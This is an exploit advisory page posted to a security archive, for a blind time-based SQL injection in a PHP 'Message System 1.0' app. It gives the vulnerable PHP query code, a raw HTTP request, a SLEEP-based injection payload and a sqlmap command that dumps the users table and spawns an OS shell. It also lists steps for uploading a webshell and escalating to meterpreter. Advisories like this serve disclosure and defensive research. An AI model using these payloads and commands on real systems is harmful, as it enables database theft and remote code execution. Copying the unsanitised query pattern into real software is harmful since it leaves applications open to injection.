what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Message System 1.0 SQL Injection

Message System 1.0 SQL Injection
Posted Mar 31, 2022
Authored by Hejap Zairy

Message System version 1.0 suffers from a remote SQL injection vulnerability that can lead to remote code execution.

tags | exploit, remote, code execution, sql injection
SHA-256 | f726216137cb25cc61ebd0212e3d991811ebe3e9be1b4d7c85db6f64b5cdf1be

Message System 1.0 SQL Injection

Change Mirror Download
# Title: Message System 1.0 1.0 Blind Time SQLi To Rce
# Author: Hejap Zairy
# Date: 30.07.2022
# Vendor: https://www.sourcecodester.com/php/15249/message-system-phpoop-free-source-code.html
# Software:https://www.sourcecodester.com/sites/default/files/download/oretnom23/pmms_1.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache



# Steps
# 1.- Go to : https://0day.gov//pmms/?page=view_message&id=1
# 2 - manual inject Blind SQli Payload: https://0day.gov/pmms/?page=view_message&id=1' OR NOT 515=515#&password=hejap&button=Login
# 3 - SQLi To RCE r00t
# 4 - Ubload webshell
# 5 - Web Shell to meterpreter full tty shell

#vulnerability Code php

---
```
<?php
$qry = $conn->query("SELECT * FROM `conversation_list` where id = '{$_GET['id']}' and (`user_1` = '{$_settings->userdata('id')}' or `user_2` = '{$_settings->userdata('id')}') ");
if($qry->num_rows > 0){
foreach($qry->fetch_array() as $k => $v){
if(!is_numeric($k))
$$k = $v;
}
$msg = $conn->query("SELECT m.*,CONCAT(u.firstname,' ', COALESCE(u.middlename,''), ' ', u.lastname) as `name`, u.username, u.avatar FROM `message_list` m inner join users u on m.from_user = u.id where m.conversation_id = '{$id}' order by unix_timestamp(m.date_updated) asc limit 1 ")->fetch_array();
$conn->query("UPDATE `message_list` set `status` = 1 where conversation_id = '{$id}' and to_user = '{$_settings->userdata('id')}'");
}
else{
echo "<script>alert('ID is unknown or you dont have access to view the Message.'); location.replace('./?page=inbox');</script>";
}
?>
```
---
#Status: CRITICAL
[+] Payload GET

---
GET /pmms/?page=view_message&id=1 HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=fcmu4ss9vhq6760poojbtk40bt
Upgrade-Insecure-Requests: 1
---

```
---
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=view_message&id=1' AND (SELECT 4539 FROM (SELECT(SLEEP(5)))sFek) AND 'MXDw'='MXDw
---


```
#Blind SQLi Time to Rce
#ُExploit


sqlmap -r hejap_0day --dbs --time-sec=10 --tamper=space2comment --threads=5 -p id -D pmms_db -T users --dump --eta --technique=t --hex --os-shell


# Description:
The Blind Time SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc

# Proof and Exploit:
https://i.imgur.com/HfDGPGT.png
https://i.imgur.com/6RH1Wvi.png
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close